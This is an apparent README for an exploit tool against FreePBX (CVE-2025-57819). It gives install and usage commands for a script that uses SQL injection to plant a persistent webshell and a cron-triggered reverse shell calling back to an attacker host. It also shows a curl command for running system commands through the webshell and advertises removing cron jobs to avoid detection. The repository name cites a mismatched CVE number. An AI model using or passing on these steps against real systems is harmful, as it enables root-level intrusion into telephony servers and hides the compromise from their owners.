FreePBX CVE-2025-57819 Exploit

Description

This script exploits a vulnerability in FreePBX versions prior to 16.0.26.0 (CVE-2025-57819), allowing remote attackers to execute arbitrary PHP code via a SQL injection flaw in the AJAX API endpoint. The exploit creates both a webshell and an auto-triggered reverse shell.

Vulnerability Details

• CVE: CVE-2025-57819
• Affected Versions: FreePBX < 16.0.26.0
• Impact: Remote Code Execution (RCE)
• Vector: SQL Injection in AJAX API (/admin/ajax.php)

Features

• Creates a persistent webshell at /pbxshell.php
• Sets up an auto-triggered reverse shell via cron job
• Uses Base64-encoded payloads to bypass filters
• Automatic cleanup of cron jobs after execution

Requirements

• Python 3.x
• requests library
• Netcat (for reverse shell listener)

Installation

git clone https://github.com/jasonbernier/CVE-2025-5781.git
cd CVE-2025-5781
pip install requests

Usage

python3 exploit.py -H TARGET_HOST -lhost LHOST -lport LPORT

Parameters:

• -H HOST: Target FreePBX instance (e.g., https://freepbx.example.com)
• -lhost LHOST: Your IP for reverse shell callback
• -lport LPORT: Port for reverse shell connection

Example:

python3 exploit.py -H https://target.freepbx.com -lhost 10.0.0.1 -lport 4444

Exploit Flow

1. Sends SQL injection payload to create a webshell
2. Waits for webshell to be created (~2 minutes)
3. Creates auto-triggered reverse shell via cron job
4. Starts netcat listener on specified port

Webshell Usage

After successful exploitation, access the webshell via:

curl -X GET "http://TARGET/pbxshell.php?cmd=id"

Cleanup

The exploit automatically removes cron jobs after execution to avoid detection.

Notes

• The script uses -- to comment out remaining SQL syntax
• All commands are executed with root privileges
• Requires write access to /var/www/html/ directory

References

• CVE-2025-57819
• FreePBX Security Advisory